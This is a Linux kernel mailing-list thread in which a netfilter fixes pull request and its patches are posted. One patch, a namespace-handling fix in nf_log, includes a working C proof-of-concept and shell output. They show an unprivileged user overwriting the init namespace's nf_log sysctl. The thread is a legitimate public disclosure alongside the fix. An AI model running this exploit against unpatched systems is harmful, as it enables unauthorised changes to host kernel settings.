From: Pablo Neira Ayuso <pablo@netfilter.org> Date: 2016-10-06 00:07:44
Hi David,
This is a pull request to address fallout from previous nf-next pull
request, only fixes going on here:
1) Address a potential null dereference in nf_unregister_net_hook()
when becomes nf_hook_entry_head is NULL, from Aaron Conole.
2) Missing ifdef for CONFIG_NETFILTER_INGRESS, also from Aaron.
3) Fix linking problems in xt_hashlimit in x86_32, from Pai.
4) Fix permissions of nf_log sysctl from unpriviledge netns, from
Jann Horn.
5) Fix possible divide by zero in nft_limit, from Liping Zhang.
You can pull these changes from:
git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git
P.S: Sorry for not addressing this any sooner, a mixture of traveling
overhead, conference and problems with wifi connection has prevented me
to do this any sooner.
Thanks!
----------------------------------------------------------------
The following changes since commit 803783849fed11e38a30f31932c02c815520da70:
mlx5: Add ndo_poll_controller() implementation (2016-09-30 02:11:16 -0400)
are available in the git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git HEAD
for you to fetch changes up to 2fa46c130193300f06e68727ae98ec9f6184cad4:
netfilter: nft_limit: fix divided by zero panic (2016-10-04 08:59:03 +0200)
----------------------------------------------------------------
Aaron Conole (2):
netfilter: Fix potential null pointer dereference
netfilter: accommodate different kconfig in nf_set_hooks_head
Jann Horn (1):
netfilter: fix namespace handling in nf_log_proc_dostring
Liping Zhang (1):
netfilter: nft_limit: fix divided by zero panic
Vishwanath Pai (1):
netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division
net/netfilter/core.c | 17 ++++++++++++-----
net/netfilter/nf_log.c | 6 ++++--
net/netfilter/nft_limit.c | 4 ++--
net/netfilter/xt_hashlimit.c | 15 ++++++++-------
4 files changed, 26 insertions(+), 16 deletions(-)
From: Pablo Neira Ayuso <pablo@netfilter.org> Date: 2016-10-06 00:07:46
From: Aaron Conole <redacted>
When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle
the request for registration properly by dropping the hook. This
releases the entry during the set.
Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <redacted>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/core.c | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
@@ -90,10 +90,12 @@ static void nf_set_hooks_head(struct net *net, const struct nf_hook_ops *reg,{switch(reg->pf){caseNFPROTO_NETDEV:+#ifdef CONFIG_NETFILTER_INGRESS/* We already checked in nf_register_net_hook() that this is*usedfromingress.*/rcu_assign_pointer(reg->dev->nf_hooks_ingress,entry);+#endifbreak;default:rcu_assign_pointer(net->nf.hooks[reg->pf][reg->hooknum],
@@ -107,10 +109,15 @@ int nf_register_net_hook(struct net *net, const struct nf_hook_ops *reg)structnf_hook_entry*hooks_entry;structnf_hook_entry*entry;-if(reg->pf==NFPROTO_NETDEV&&-(reg->hooknum!=NF_NETDEV_INGRESS||-!reg->dev||dev_net(reg->dev)!=net))-return-EINVAL;+if(reg->pf==NFPROTO_NETDEV){+#ifndef CONFIG_NETFILTER_INGRESS+if(reg->hooknum==NF_NETDEV_INGRESS)+return-EOPNOTSUPP;+#endif+if(reg->hooknum!=NF_NETDEV_INGRESS||+!reg->dev||dev_net(reg->dev)!=net)+return-EINVAL;+}entry=kmalloc(sizeof(*entry),GFP_KERNEL);if(!entry)
From: Pablo Neira Ayuso <pablo@netfilter.org> Date: 2016-10-06 00:07:47
From: Vishwanath Pai <redacted>
Division of 64bit integers will cause linker error undefined reference
to `__udivdi3'. Fix this by replacing divisions with div64_64
Fixes: 11d5f15723c9 ("netfilter: xt_hashlimit: Create revision 2 to ...")
Signed-off-by: Vishwanath Pai <redacted>
Acked-by: Maciej Żenczykowski <redacted>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/xt_hashlimit.c | 15 ++++++++-------
1 file changed, 8 insertions(+), 7 deletions(-)
From: Pablo Neira Ayuso <pablo@netfilter.org> Date: 2016-10-06 00:07:48
From: Jann Horn <redacted>
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <redacted>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/nf_log.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
@@ -422,7 +422,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write,charbuf[NFLOGGER_NAME_LEN];intr=0;inttindex=(unsignedlong)table->extra1;-structnet*net=current->nsproxy->net_ns;+structnet*net=table->extra2;if(write){structctl_tabletmp=*table;
@@ -476,7 +476,6 @@ static int netfilter_log_sysctl_init(struct net *net)3,"%d",i);nf_log_sysctl_table[i].procname=nf_log_sysctl_fnames[i];-nf_log_sysctl_table[i].data=NULL;nf_log_sysctl_table[i].maxlen=NFLOGGER_NAME_LEN;nf_log_sysctl_table[i].mode=0644;nf_log_sysctl_table[i].proc_handler=
@@ -486,6 +485,9 @@ static int netfilter_log_sysctl_init(struct net *net)}}+for(i=NFPROTO_UNSPEC;i<NFPROTO_NUMPROTO;i++)+table[i].extra2=net;+net->nf.nf_log_dir_header=register_net_sysctl(net,"net/netfilter/nf_log",table);
From: Pablo Neira Ayuso <pablo@netfilter.org> Date: 2016-10-06 00:08:07
From: Aaron Conole <redacted>
It's possible for nf_hook_entry_head to return NULL. If two
nf_unregister_net_hook calls happen simultaneously with a single hook
entry in the list, both will enter the nf_hook_mutex critical section.
The first will successfully delete the head, but the second will see
this NULL pointer and attempt to dereference.
This fix ensures that no null pointer dereference could occur when such
a condition happens.
Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <redacted>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/core.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
From: David Miller <davem@davemloft.net> Date: 2016-10-06 00:26:18
From: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Thu, 6 Oct 2016 02:07:44 +0200
This is a pull request to address fallout from previous nf-next pull
request, only fixes going on here:
1) Address a potential null dereference in nf_unregister_net_hook()
when becomes nf_hook_entry_head is NULL, from Aaron Conole.
2) Missing ifdef for CONFIG_NETFILTER_INGRESS, also from Aaron.
3) Fix linking problems in xt_hashlimit in x86_32, from Pai.
4) Fix permissions of nf_log sysctl from unpriviledge netns, from
Jann Horn.
5) Fix possible divide by zero in nft_limit, from Liping Zhang.
You can pull these changes from:
git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git